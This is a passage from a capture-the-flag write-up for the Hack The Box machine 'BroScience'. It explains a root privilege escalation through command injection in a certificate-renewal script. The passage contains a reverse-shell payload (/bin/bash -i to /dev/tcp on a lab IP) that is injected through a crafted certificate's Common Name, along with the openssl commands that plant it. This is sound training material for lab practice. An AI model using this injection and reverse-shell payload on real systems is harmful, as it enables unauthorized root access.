organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
Command Injection
There’s clearly a command injection in this line
1
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
- The
$1parameter will be/home/bill/Certs/broscience.crtaccording toPSPY’s result
Payload will be
1
$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)
Note this sector
1
2
3
4
5
6
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
$?is the previous command’s output. This sector checks if the certificate expires less then86400seconds (1 day)
Generate the malicious certificate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bill@broscience:/tmp$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /home/bill/Certs/broscience.crt -days 1
Generating a RSA private key
.........................................................................++++
................................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(/bin/bash -i >& /dev/tcp/10.10.14.12/1111 0>&1)
Email Address []:
bill@broscience:/tmp$
bill@broscience:/tmp$ openssl x509 -in /home/bill/Certs/broscience.crt -noout -checkend 86400 > /dev/null
Additional
Auto Pwn Script
Made an auto pwn script just for practicing python (not completed)
Refers
- IPPSEC - https://www.youtube.com/watch?v=kyPYfqMYQm8
- 0xdf - https://0xdf.gitlab.io/2023/04/08/htb-broscience.html






























